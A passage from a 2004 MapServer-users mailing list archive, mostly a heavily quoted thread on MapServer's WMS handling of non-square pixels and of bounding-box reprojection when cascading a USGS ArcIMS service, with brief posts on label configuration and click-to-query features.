A concrete example is the set of services provided by USGS, say something like the NED. These data are served up by ArcIMS in EPSG:4326, a geographic SRS. When they are cascaded through my UMN Mapserver WMS, I reproject them to EPSG:2163, a Lambert Azimuthal Equal Area projection. This is where the "non-square" pixels issue shows up. When a client requests data from my WMS using a bounding box in EPSG:2163, the bounding box that gets passed along to the USGS WMS will have a different aspect ratio in EPSG:4326. However, the output image aspect ratio remains fixed. Therefore, the image from the USGS WMS gets stretched. Any data that I serve up locally and overlay on the USGS image will not get stretched. The end result is that the data from the two sources will line up only in the middle of the image. The conflation gets worse the further you get from the center. The simple solution, of course, is that I serve up my data in EPSG:4326 as well. That will work in this instance, but I can see problems arising if I also want to pull in data from other WMSes that serve up data in some other SRS. -Ty ~~~~~~~~~~~~~~~~~~~~~~~~ B. Tyler Wilson USDA Forest Service North Central Research Station 1992 Folwell Avenue St. Paul, MN 55108 651-649-5189 barrywilson at fs.fed.us ~~~~~~~~~~~~~~~~~~~~~~~~ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From ed at topozone.com Tue Jun 8 12:49:47 2004 From: ed at topozone.com (Ed McNierney) Date: Tue, 8 Jun 2004 15:49:47 -0400 Subject: [Mapserver-users] OGC compliance for WMS Message-ID: <2A6FDD75AE04BE4A9E8C918D3C09FB07706F@ptolemy.topozone.com> Barry - I *think* Arnulf is talking about something else - but I still could be confused. MapServer wants EPSG:2163 but the USGS only serves EPSG:4326. So MapServer reprojects the BBOX it wants from EPSG:2163 to EPSG:4326 - and it SHOULD ALSO ADJUST THE REQUESTED WIDTH AND HEIGHT to reflect the reprojected BBOX. If I'm looking for a 100x100 pixel image in EPSG:2163, I may need to request a 110x106 pixel (or whatever) image from an EPSG:4326 server. If MapServer is deciding to generate the appropriate BBOX request from another server, it should be generating an appropriate WIDTH and HEIGHT to go with it. This can be a bit tricky to do (I worked with software from Blue Marble several years ago that never got it right) but it should be done. If MapServer is not doing it, then (I think) it is indeed a bug, but one that is unrelated to whether MapServer generates non-square pixels in response to a WMS request. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: Barry Wilson [mailto:barrywilson at fs.fed.us] Sent: Tuesday, June 08, 2004 3:35 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] OGC compliance for WMS Ed, Thanks for the prompt response! You wrote: "A non-square pixel request should result when the BBOX extents are not proportional to the WIDTH and HEIGHT request. When acting as a WMS *server*, MapServer adjusts the BBOX to the right ratio to match the WIDTH and HEIGHT, instead of stretching the output image to fit. Your example involves MapServer acting as a *client* to ArcIMS, and this incorrect behavior should not be involved. I may be missing the boat here - am I?" In the example I described, Mapserver is acting both as client and server. It is a client to the USGS WMS and a server of that data along with several local data layers. The local layers are not reprojected because their native projection is EPSG:2163. The NED layer from the USGS WMS is indeed reprojected from EPSG:4326 to EPSG:2163. However, it appears that the image generated by the USGS WMS was stretched, *prior* to reprojection by Mapserver, as per the WMS specification because the BBOX aspect ratio and the output width/height differ. The reason they differ is because the BBOX passed to Mapserver was based on EPSG:2163, while the BBOX that Mapserver passes to the USGS WMS is based on EPSG:4326. The issue is not that Mapserver is "filling in" to preserve the correct aspect ratio, it is that the USGS WMS doesn't and instead stretches, as per the spec. Perhaps it's simply a matter of having Mapserver, when cascading other WMSes, adjust the BBOX that it passes to those servers to essentially force *them* to fill in to maintain the correct aspect ratio so that no stretching takes place. There is a message from Arnulf Christl dated April 6, 2004 that I believe describes the same phenomenon. He wrote: "Anyway - UMN MapServer is still not implementing WMS correctly as it always returns images with "square" pixels. If you use UMN MapServer as the only service don't bother about it. If you have to combine it with other WMS it might be problematic. Its a little tricky to get the gist of this problem. Whenever you request an image which has an inconsitent aspect ratio of pixels and coordinates, UMN MapServer will cheat by adding as much map as is needed to fill up the difference until it can return "square" pixels. The OGC spec. specifies that instead the image should be stretched. If you overlay the MS' result with another WMS which does return (WMS compliant) warped images you will see the difference, whenever the client works with warped start-up parameters. In the center of the map the overlay looks good, the further you get to the border of the map the larger will be the delta." Does this help? I could include some screenshots if that would help illustrate this better. Thanks again, -Ty "Ed McNierney" , > cc: Subject: RE: [Mapserver-users] OGC compliance for WMS 06/08/2004 12:24 PM Barry - I am a little puzzled at the description of your problem. I was not under the impression that the non-square output pixel support would be related to the situation you describe. The bounding box passed to the USGS server will indeed have a different SIZE, but the EPSG:4326 image returned should be properly reprojected to the EPSG:2163 projection and each pixel should end up in the right place. I haven't played with this extensively, but I don't think you should be having a problem here - what am I missing? The support for non-square pixels, as I understand, is intended to support output devices with non-square pixels for display or print. I did not think it was related to image reprojection - after all, in the example you give, it would seem like it's the USGS ArcIMS server that's not returning the data properly. There's no request for MapServer to render non-square pixels. A non-square pixel request should result when the BBOX extents are not proportional to the WIDTH and HEIGHT request. When acting as a WMS *server*, MapServer adjusts the BBOX to the right ratio to match the WIDTH and HEIGHT, instead of stretching the output image to fit. Your example involves MapServer acting as a *client* to ArcIMS, and this incorrect behavior should not be involved. I may be missing the boat here - am I? - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Barry Wilson Sent: Tuesday, June 08, 2004 11:11 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] OGC compliance for WMS I've been reading through the archives and saw a couple of threads related to Mapserver OGC compliance for WMS dated from November 03 and January 04. Has the issue of "non-square" pixels been or is it being addressed? This can be a fairly significant problem for folks who want to be able to cascade from fully compliant WMSes. A concrete example is the set of services provided by USGS, say something like the NED. These data are served up by ArcIMS in EPSG:4326, a geographic SRS. When they are cascaded through my UMN Mapserver WMS, I reproject them to EPSG:2163, a Lambert Azimuthal Equal Area projection. This is where the "non-square" pixels issue shows up. When a client requests data from my WMS using a bounding box in EPSG:2163, the bounding box that gets passed along to the USGS WMS will have a different aspect ratio in EPSG:4326. However, the output image aspect ratio remains fixed. Therefore, the image from the USGS WMS gets stretched. Any data that I serve up locally and overlay on the USGS image will not get stretched. The end result is that the data from the two sources will line up only in the middle of the image. The conflation gets worse the further you get from the center. The simple solution, of course, is that I serve up my data in EPSG:4326 as well. That will work in this instance, but I can see problems arising if I also want to pull in data from other WMSes that serve up data in some other SRS. -Ty ~~~~~~~~~~~~~~~~~~~~~~~~ B. Tyler Wilson USDA Forest Service North Central Research Station 1992 Folwell Avenue St. Paul, MN 55108 651-649-5189 barrywilson at fs.fed.us ~~~~~~~~~~~~~~~~~~~~~~~~ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From lfilak at medinaco.org Tue Jun 8 05:30:31 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Tue, 08 Jun 2004 08:30:31 -0400 Subject: [Mapserver-users] Query Help Message-ID: <20040608123019.801931A659B@mail.medinaco.org> I believe "TEXT" is for labelling with a static text string. Possibly "LABELITEM" is what you need. Lowell The following message was sent by Eric Katherman on Mon, 7 Jun 2004 15:12:45 -0700. > Okay I am missing something and have looked at the examples but am not getting > the data to show up in a query. Here is what I have. > > My Layer > > ... > LAYER > GROUP streets > NAME street > DATA street > STATUS DEFAULT > TYPE LINE > FILTERITEM NONSTCO > FILTER "B" > LABELMAXSCALE 120000 > LABELMINSCALE 100 > > PROJECTION > "init=/usr/local/share/proj/epsg:2223" > END > > TOLERANCE 3 > CLASSITEM 'STREET_NAM' > CLASS > TEMPLATE 'mapserver/streets_header.html' > NAME 'Major Street Labels' > COLOR 184 184 184 > OUTLINECOLOR 32 32 32 > TEXT ([PRE_DIR] [STREET_NAM] [STREET_TYP]) > LABEL > COLOR 0 0 0 > SHADOWCOLOR 218 218 218 > SHADOWSIZE 1 1 > TYPE TRUETYPE > FONT trebuchet_ms > SIZE 12 > ANTIALIAS TRUE > ANGLE AUTO > POSITION CL > PARTIALS FALSE > MINDISTANCE 300 > BUFFER 4 > > END # end of label > > END > ... > > I have a template called streets_header.html with nothing in it but the two > fields in my .dbf file I want returned... STREET_NAM and STREET_TYP but when > I query my map all I get is that page with STREET_NAM and STREET_TYP listed > rather then say "49TH AVE" What am I missing? > > Thanks > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From teoman872 at yahoo.com Tue Jun 8 13:42:19 2004 From: teoman872 at yahoo.com (teoman teoman) Date: Tue, 8 Jun 2004 13:42:19 -0700 (PDT) Subject: [Mapserver-users] selecting a point on the map and retrieve the information from a database Message-ID: <20040608204219.83558.qmail@web20729.mail.yahoo.com> --0-742747759-1086727339=:82959 Content-Type: text/plain; charset=us-ascii Dear all, is there any way to click a point on the map by using mouse and retrieve the information regarding to the selected point from the database? I do appreciate any help or suggestions.. thanks alot inadvance.. --teo --------------------------------- Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger --0-742747759-1086727339=:82959 Content-Type: text/html; charset=us-ascii

Dear all,
 
is there any way to click a point on the map by using mouse and retrieve the information regarding to the selected point from the database?
 
I do appreciate any help or suggestions..
 
thanks alot inadvance..
 
--teo


Do you Yahoo!?
Friends. Fun. Try the all-new Yahoo! Messenger --0-742747759-1086727339=:82959-- From barrywilson at fs.fed.us Tue Jun 8 14:22:13 2004 From: barrywilson at fs.fed.us (Barry Wilson) Date: Tue, 8 Jun 2004 16:22:13 -0500 Subject: [Mapserver-users] OGC compliance for WMS In-Reply-To: <2A6FDD75AE04BE4A9E8C918D3C09FB07706F@ptolemy.topozone.com> Message-ID: Ed, Yes, you've understood perfectly the issue I was trying to describe. First, I agree with you that this particular problem could be solved without addressing the "non-square" pixel issue. Also, cartographically speaking, I prefer the way Mapserver handles aspect ratio mismatches to the stretching approach adopted in the specification. However, because of Mapserver's support of reprojection-on-the-fly I viewed these as being related and somewhat troubling issues. The real problem is when other WMSes, that support "non-square" pixels, try to cascade Mapserver and pass through a "non-square" request. In this case the bug (assuming it really is a bug and not just operator error on my part) fix we're talking about will not help. The bug fix ensures that other WMSes will conform to Mapserver, not vice versa. IMHO, Mapserver is far more appealing when it behaves exactly like every other OGC-compliant WMS, especially when you factor in price and performance. It is an easier sell to an organization when you can say it is truly interoperable and "plays nicely with others" ... and it won't cost you anything! Just my $.02 anyway. Not complaining, just encouraging :-) Thanks for your help, -Ty "Ed McNierney" > cc: Subject: RE: [Mapserver-users] OGC compliance for WMS 06/08/2004 02:49 PM Barry - I *think* Arnulf is talking about something else - but I still could be confused. MapServer wants EPSG:2163 but the USGS only serves EPSG:4326. So MapServer reprojects the BBOX it wants from EPSG:2163 to EPSG:4326 - and it SHOULD ALSO ADJUST THE REQUESTED WIDTH AND HEIGHT to reflect the reprojected BBOX. If I'm looking for a 100x100 pixel image in EPSG:2163, I may need to request a 110x106 pixel (or whatever) image from an EPSG:4326 server. If MapServer is deciding to generate the appropriate BBOX request from another server, it should be generating an appropriate WIDTH and HEIGHT to go with it. This can be a bit tricky to do (I worked with software from Blue Marble several years ago that never got it right) but it should be done. If MapServer is not doing it, then (I think) it is indeed a bug, but one that is unrelated to whether MapServer generates non-square pixels in response to a WMS request. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: Barry Wilson [mailto:barrywilson at fs.fed.us] Sent: Tuesday, June 08, 2004 3:35 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] OGC compliance for WMS Ed, Thanks for the prompt response! You wrote: "A non-square pixel request should result when the BBOX extents are not proportional to the WIDTH and HEIGHT request. When acting as a WMS *server*, MapServer adjusts the BBOX to the right ratio to match the WIDTH and HEIGHT, instead of stretching the output image to fit. Your example involves MapServer acting as a *client* to ArcIMS, and this incorrect behavior should not be involved. I may be missing the boat here - am I?" In the example I described, Mapserver is acting both as client and server. It is a client to the USGS WMS and a server of that data along with several local data layers. The local layers are not reprojected because their native projection is EPSG:2163. The NED layer from the USGS WMS is indeed reprojected from EPSG:4326 to EPSG:2163. However, it appears that the image generated by the USGS WMS was stretched, *prior* to reprojection by Mapserver, as per the WMS specification because the BBOX aspect ratio and the output width/height differ. The reason they differ is because the BBOX passed to Mapserver was based on EPSG:2163, while the BBOX that Mapserver passes to the USGS WMS is based on EPSG:4326. The issue is not that Mapserver is "filling in" to preserve the correct aspect ratio, it is that the USGS WMS doesn't and instead stretches, as per the spec. Perhaps it's simply a matter of having Mapserver, when cascading other WMSes, adjust the BBOX that it passes to those servers to essentially force *them* to fill in to maintain the correct aspect ratio so that no stretching takes place. There is a message from Arnulf Christl dated April 6, 2004 that I believe describes the same phenomenon. He wrote: "Anyway - UMN MapServer is still not implementing WMS correctly as it always returns images with "square" pixels. If you use UMN MapServer as the only service don't bother about it. If you have to combine it with other WMS it might be problematic. Its a little tricky to get the gist of this problem. Whenever you request an image which has an inconsitent aspect ratio of pixels and coordinates, UMN MapServer will cheat by adding as much map as is needed to fill up the difference until it can return "square" pixels. The OGC spec. specifies that instead the image should be stretched. If you overlay the MS' result with another WMS which does return (WMS compliant) warped images you will see the difference, whenever the client works with warped start-up parameters. In the center of the map the overlay looks good, the further you get to the border of the map the larger will be the delta." Does this help? I could include some screenshots if that would help illustrate this better. Thanks again, -Ty "Ed McNierney" , > cc: Subject: RE: [Mapserver-users] OGC compliance for WMS 06/08/2004 12:24 PM Barry - I am a little puzzled at the description of your problem. I was not under the impression that the non-square output pixel support would be related to the situation you describe. The bounding box passed to the USGS server will indeed have a different SIZE, but the EPSG:4326 image returned should be properly reprojected to the EPSG:2163 projection and each pixel should end up in the right place. I haven't played with this extensively, but I don't think you should be having a problem here - what am I missing? The support for non-square pixels, as I understand, is intended to support output devices with non-square pixels for display or print. I did not think it was related to image reprojection - after all, in the example you give, it would seem like it's the USGS ArcIMS server that's not returning the data properly. There's no request for MapServer to render non-square pixels. A non-square pixel request should result when the BBOX extents are not proportional to the WIDTH and HEIGHT request. When acting as a WMS *server*, MapServer adjusts the BBOX to the right ratio to match the WIDTH and HEIGHT, instead of stretching the output image to fit. Your example involves MapServer acting as a *client* to ArcIMS, and this incorrect behavior should not be involved. I may be missing the boat here - am I? - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Barry Wilson Sent: Tuesday, June 08, 2004 11:11 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] OGC compliance for WMS I've been reading through the archives and saw a couple of threads related to Mapserver OGC compliance for WMS dated from November 03 and January 04. Has the issue of "non-square" pixels been or is it being addressed? This can be a fairly significant problem for folks who want to be able to cascade from fully compliant WMSes. A concrete example is the set of services provided by USGS, say something like the NED. These data are served up by ArcIMS in EPSG:4326, a geographic SRS. When they are cascaded through my UMN Mapserver WMS, I reproject them to EPSG:2163, a Lambert Azimuthal Equal Area projection. This is where the "non-square" pixels issue shows up. When a client requests data from my WMS using a bounding box in EPSG:2163, the bounding box that gets passed along to the USGS WMS will have a different aspect ratio in EPSG:4326. However, the output image aspect ratio remains fixed. Therefore, the image from the USGS WMS gets stretched. Any data that I serve up locally and overlay on the USGS image will not get stretched. The end result is that the data from the two sources will line up only in the middle of the image. The conflation gets worse the further you get from the center. The simple solution, of course, is that I serve up my data in EPSG:4326 as well. That will work in this instance, but I can see problems arising if I also want to pull in data from other WMSes that serve up data in some other SRS. -Ty ~~~~~~~~~~~~~~~~~~~~~~~~ B. Tyler Wilson USDA Forest Service North Central Research Station 1992 Folwell Avenue St. Paul, MN 55108 651-649-5189 barrywilson at fs.fed.us ~~~~~~~~~~~~~~~~~~~~~~~~ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From ed at topozone.com Tue Jun 8 14:37:29 2004 From: ed at topozone.com (Ed McNierney) Date: Tue, 8 Jun 2004 17:37:29 -0400 Subject: [Mapserver-users] OGC compliance for WMS Message-ID: <2A6FDD75AE04BE4A9E8C918D3C09FB077074@ptolemy.topozone.com> This must be fun for the others to watch . Let me try again. If I understand your scenario correctly, then I think there is indeed a bug in MapServer - just not the bug you mentioned. I am not suggesting that other WMSes need conform to MapServer, but that MapServer needs construct its WMS requests correctly. Just to double-check - your scenario described this: Client <---------> YOUR MapServer WMS <---------> USGS ArcIMS WMS EPSG:2163 EPSG:4326 Right? In that scenario there is no request TO MapServer for non-square pixels, so that can't be the problem. But MapServer MAY be incorrectly constructing a non-square-pixel request to the USGS server when it doesn't intend to do so. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: Barry Wilson [mailto:barrywilson at fs.fed.us] Sent: Tuesday, June 08, 2004 5:22 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] OGC compliance for WMS Ed, Yes, you've understood perfectly the issue I was trying to describe. First, I agree with you that this particular problem could be solved without addressing the "non-square" pixel issue. Also, cartographically speaking, I prefer the way Mapserver handles aspect ratio mismatches to the stretching approach adopted in the specification. However, because of Mapserver's support of reprojection-on-the-fly I viewed these as being related and somewhat troubling issues. The real problem is when other WMSes, that support "non-square" pixels, try to cascade Mapserver and pass through a "non-square" request. In this case the bug (assuming it really is a bug and not just operator error on my part) fix we're talking about will not help. The bug fix ensures that other WMSes will conform to Mapserver, not vice versa. IMHO, Mapserver is far more appealing when it behaves exactly like every other OGC-compliant WMS, especially when you factor in price and performance. It is an easier sell to an organization when you can say it is truly interoperable and "plays nicely with others" ... and it won't cost you anything! Just my $.02 anyway. Not complaining, just encouraging :-) Thanks for your help, -Ty "Ed McNierney" > cc: Subject: RE: [Mapserver-users] OGC compliance for WMS 06/08/2004 02:49 PM Barry - I *think* Arnulf is talking about something else - but I still could be confused. MapServer wants EPSG:2163 but the USGS only serves EPSG:4326. So MapServer reprojects the BBOX it wants from EPSG:2163 to EPSG:4326 - and it SHOULD ALSO ADJUST THE REQUESTED WIDTH AND HEIGHT to reflect the reprojected BBOX. If I'm looking for a 100x100 pixel image in EPSG:2163, I may need to request a 110x106 pixel (or whatever) image from an EPSG:4326 server. If MapServer is deciding to generate the appropriate BBOX request from another server, it should be generating an appropriate WIDTH and HEIGHT to go with it. This can be a bit tricky to do (I worked with software from Blue Marble several years ago that never got it right) but it should be done. If MapServer is not doing it, then (I think) it is indeed a bug, but one that is unrelated to whether MapServer generates non-square pixels in response to a WMS request. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: Barry Wilson [mailto:barrywilson at fs.fed.us] Sent: Tuesday, June 08, 2004 3:35 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] OGC compliance for WMS Ed, Thanks for the prompt response! You wrote: "A non-square pixel request should result when the BBOX extents are not proportional to the WIDTH and HEIGHT request. When acting as a WMS *server*, MapServer adjusts the BBOX to the right ratio to match the WIDTH and HEIGHT, instead of stretching the output image to fit. Your example involves MapServer acting as a *client* to ArcIMS, and this incorrect behavior should not be involved. I may be missing the boat here - am I?" In the example I described, Mapserver is acting both as client and server. It is a client to the USGS WMS and a server of that data along with several local data layers. The local layers are not reprojected because their native projection is EPSG:2163. The NED layer from the USGS WMS is indeed reprojected from EPSG:4326 to EPSG:2163. However, it appears that the image generated by the USGS WMS was stretched, *prior* to reprojection by Mapserver, as per the WMS specification because the BBOX aspect ratio and the output width/height differ. The reason they differ is because the BBOX passed to Mapserver was based on EPSG:2163, while the BBOX that Mapserver passes to the USGS WMS is based on EPSG:4326. The issue is not that Mapserver is "filling in" to preserve the correct aspect ratio, it is that the USGS WMS doesn't and instead stretches, as per the spec. Perhaps it's simply a matter of having Mapserver, when cascading other WMSes, adjust the BBOX that it passes to those servers to essentially force *them* to fill in to maintain the correct aspect ratio so that no stretching takes place. There is a message from Arnulf Christl dated April 6, 2004 that I believe describes the same phenomenon. He wrote: "Anyway - UMN MapServer is still not implementing WMS correctly as it always returns images with "square" pixels. If you use UMN MapServer as the only service don't bother about it. If you have to combine it with other WMS it might be problematic. Its a little tricky to get the gist of this problem. Whenever you request an image which has an inconsitent aspect ratio of pixels and coordinates, UMN MapServer will cheat by adding as much map as is needed to fill up the difference until it can return "square" pixels. The OGC spec. specifies that instead the image should be stretched. If you overlay the MS' result with another WMS which does return (WMS compliant) warped images you will see the difference, whenever the client works with warped start-up parameters. In the center of the map the overlay looks good, the further you get to the border of the map the larger will be the delta." Does this help? I could include some screenshots if that would help illustrate this better. Thanks again, -Ty "Ed McNierney" , > cc: Subject: RE: [Mapserver-users] OGC compliance for WMS 06/08/2004 12:24 PM Barry - I am a little puzzled at the description of your problem. I was not under the impression that the non-square output pixel support would be related to the situation you describe. The bounding box passed to the USGS server will indeed have a different SIZE, but the EPSG:4326 image returned should be properly reprojected to the EPSG:2163 projection and each pixel should end up in the right place. I haven't played with this extensively, but I don't think you should be having a problem here - what am I missing? The support for non-square pixels, as I understand, is intended to support output devices with non-square pixels for display or print. I did not think it was related to image reprojection - after all, in the example you give, it would seem like it's the USGS ArcIMS server that's not returning the data properly. There's no request for MapServer to render non-square pixels. A non-square pixel request should result when the BBOX extents are not proportional to the WIDTH and HEIGHT request. When acting as a WMS *server*, MapServer adjusts the BBOX to the right ratio to match the WIDTH and HEIGHT, instead of stretching the output image to fit. Your example involves MapServer acting as a *client* to ArcIMS, and this incorrect behavior should not be involved. I may be missing the boat here - am I? - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Barry Wilson Sent: Tuesday, June 08, 2004 11:11 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] OGC compliance for WMS I've been reading through the archives and saw a couple of threads related to Mapserver OGC compliance for WMS dated from November 03 and January 04. Has the issue of "non-square" pixels been or is it being addressed? This can be a fairly significant problem for folks who want to be able to cascade from fully compliant WMSes. A concrete example is the set of services provided by USGS, say something like the NED. These data are served up by ArcIMS in EPSG:4326, a geographic SRS. When they are cascaded through my UMN Mapserver WMS, I reproject them to EPSG:2163, a Lambert Azimuthal Equal Area projection. This is where the "non-square" pixels issue shows up. When a client requests data from my WMS using a bounding box in EPSG:2163, the bounding box that gets passed along to the USGS WMS will have a different aspect ratio in EPSG:4326. However, the output image aspect ratio remains fixed. Therefore, the image from the USGS WMS gets stretched. Any data that I serve up locally and overlay on the USGS image will not get stretched. The end result is that the data from the two sources will line up only in the middle of the image. The conflation gets worse the further you get from the center. The simple solution, of course, is that I serve up my data in EPSG:4326 as well. That will work in this instance, but I can see problems arising if I also want to pull in data from other WMSes that serve up data in some other SRS. -Ty ~~~~~~~~~~~~~~~~~~~~~~~~ B. Tyler Wilson USDA Forest Service North Central Research Station 1992 Folwell Avenue St. Paul, MN 55108 651-649-5189 barrywilson at fs.fed.us ~~~~~~~~~~~~~~~~~~~~~~~~ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From barrywilson at fs.fed.us Tue Jun 8 14:59:17 2004 From: barrywilson at fs.fed.us (Barry Wilson) Date: Tue, 8 Jun 2004 16:59:17 -0500 Subject: [Mapserver-users] OGC compliance for WMS In-Reply-To: <2A6FDD75AE04BE4A9E8C918D3C09FB077074@ptolemy.topozone.com> Message-ID: Yep. You've described it perfectly. -Ty "Ed McNierney" > cc: Subject: RE: [Mapserver-users] OGC compliance for WMS 06/08/2004 04:37 PM This must be fun for the others to watch . Let me try again. If I understand your scenario correctly, then I think there is indeed a bug in MapServer - just not the bug you mentioned. I am not suggesting that other WMSes need conform to MapServer, but that MapServer needs construct its WMS requests correctly. Just to double-check - your scenario described this: Client <---------> YOUR MapServer WMS <---------> USGS ArcIMS WMS EPSG:2163 EPSG:4326 Right? In that scenario there is no request TO MapServer for non-square pixels, so that can't be the problem. But MapServer MAY be incorrectly constructing a non-square-pixel request to the USGS server when it doesn't intend to do so. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: Barry Wilson [mailto:barrywilson at fs.fed.us] Sent: Tuesday, June 08, 2004 5:22 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] OGC compliance for WMS Ed, Yes, you've understood perfectly the issue I was trying to describe. First, I agree with you that this particular problem could be solved without addressing the "non-square" pixel issue. Also, cartographically speaking, I prefer the way Mapserver handles aspect ratio mismatches to the stretching approach adopted in the specification. However, because of Mapserver's support of reprojection-on-the-fly I viewed these as being related and somewhat troubling issues. The real problem is when other WMSes, that support "non-square" pixels, try to cascade Mapserver and pass through a "non-square" request. In this case the bug (assuming it really is a bug and not just operator error on my part) fix we're talking about will not help. The bug fix ensures that other WMSes will conform to Mapserver, not vice versa. IMHO, Mapserver is far more appealing when it behaves exactly like every other OGC-compliant WMS, especially when you factor in price and performance. It is an easier sell to an organization when you can say it is truly interoperable and "plays nicely with others" ... and it won't cost you anything! Just my $.02 anyway. Not complaining, just encouraging :-) Thanks for your help, -Ty "Ed McNierney" > cc: Subject: RE: [Mapserver-users] OGC compliance for WMS 06/08/2004 02:49 PM Barry - I *think* Arnulf is talking about something else - but I still could be confused. MapServer wants EPSG:2163 but the USGS only serves EPSG:4326. So MapServer reprojects the BBOX it wants from EPSG:2163 to EPSG:4326 - and it SHOULD ALSO ADJUST THE REQUESTED WIDTH AND HEIGHT to reflect the reprojected BBOX. If I'm looking for a 100x100 pixel image in EPSG:2163, I may need to request a 110x106 pixel (or whatever) image from an EPSG:4326 server. If MapServer is deciding to generate the appropriate BBOX request from another server, it should be generating an appropriate WIDTH and HEIGHT to go with it. This can be a bit tricky to do (I worked with software from Blue Marble several years ago that never got it right) but it should be done. If MapServer is not doing it, then (I think) it is indeed a bug, but one that is unrelated to whether MapServer generates non-square pixels in response to a WMS request. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: Barry Wilson [mailto:barrywilson at fs.fed.us] Sent: Tuesday, June 08, 2004 3:35 PM To: Ed McNierney Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] OGC compliance for WMS Ed, Thanks for the prompt response! You wrote: "A non-square pixel request should result when the BBOX extents are not proportional to the WIDTH and HEIGHT request. When acting as a WMS *server*, MapServer adjusts the BBOX to the right ratio to match the WIDTH and HEIGHT, instead of stretching the output image to fit. Your example involves MapServer acting as a *client* to ArcIMS, and this incorrect behavior should not be involved. I may be missing the boat here - am I?" In the example I described, Mapserver is acting both as client and server. It is a client to the USGS WMS and a server of that data along with several local data layers. The local layers are not reprojected because their native projection is EPSG:2163. The NED layer from the USGS WMS is indeed reprojected from EPSG:4326 to EPSG:2163. However, it appears that the image generated by the USGS WMS was stretched, *prior* to reprojection by Mapserver, as per the WMS specification because the BBOX aspect ratio and the output width/height differ. The reason they differ is because the BBOX passed to Mapserver was based on EPSG:2163, while the BBOX that Mapserver passes to the USGS WMS is based on EPSG:4326. The issue is not that Mapserver is "filling in" to preserve the correct aspect ratio, it is that the USGS WMS doesn't and instead stretches, as per the spec. Perhaps it's simply a matter of having Mapserver, when cascading other WMSes, adjust the BBOX that it passes to those servers to essentially force *them* to fill in to maintain the correct aspect ratio so that no stretching takes place. There is a message from Arnulf Christl dated April 6, 2004 that I believe describes the same phenomenon. He wrote: "Anyway - UMN MapServer is still not implementing WMS correctly as it always returns images with "square" pixels. If you use UMN MapServer as the only service don't bother about it. If you have to combine it with other WMS it might be problematic. Its a little tricky to get the gist of this problem. Whenever you request an image which has an inconsitent aspect ratio of pixels and coordinates, UMN MapServer will cheat by adding as much map as is needed to fill up the difference until it can return "square" pixels. The OGC spec. specifies that instead the image should be stretched. If you overlay the MS' result with another WMS which does return (WMS compliant) warped images you will see the difference, whenever the client works with warped start-up parameters. In the center of the map the overlay looks good, the further you get to the border of the map the larger will be the delta." Does this help? I could include some screenshots if that would help illustrate this better. Thanks again, -Ty "Ed McNierney" , > cc: Subject: RE: [Mapserver-users] OGC compliance for WMS 06/08/2004 12:24 PM Barry - I am a little puzzled at the description of your problem. I was not under the impression that the non-square output pixel support would be related to the situation you describe. The bounding box passed to the USGS server will indeed have a different SIZE, but the EPSG:4326 image returned should be properly reprojected to the EPSG:2163 projection and each pixel should end up in the right place. I haven't played with this extensively, but I don't think you should be having a problem here - what am I missing? The support for non-square pixels, as I understand, is intended to support output devices with non-square pixels for display or print. I did not think it was related to image reprojection - after all, in the example you give, it would seem like it's the USGS ArcIMS server that's not returning the data properly. There's no request for MapServer to render non-square pixels. A non-square pixel request should result when the BBOX extents are not proportional to the WIDTH and HEIGHT request. When acting as a WMS *server*, MapServer adjusts the BBOX to the right ratio to match the WIDTH and HEIGHT, instead of stretching the output image to fit. Your example involves MapServer acting as a *client* to ArcIMS, and this incorrect behavior should not be involved. I may be missing the boat here - am I? - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Barry Wilson Sent: Tuesday, June 08, 2004 11:11 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] OGC compliance for WMS I've been reading through the archives and saw a couple of threads related to Mapserver OGC compliance for WMS dated from November 03 and January 04. Has the issue of "non-square" pixels been or is it being addressed? This can be a fairly significant problem for folks who want to be able to cascade from fully compliant WMSes. A concrete example is the set of services provided by USGS, say something like the NED. These data are served up by ArcIMS in EPSG:4326, a geographic SRS. When they are cascaded through my UMN Mapserver WMS, I reproject them to EPSG:2163, a Lambert Azimuthal Equal Area projection. This is where the "non-square" pixels issue 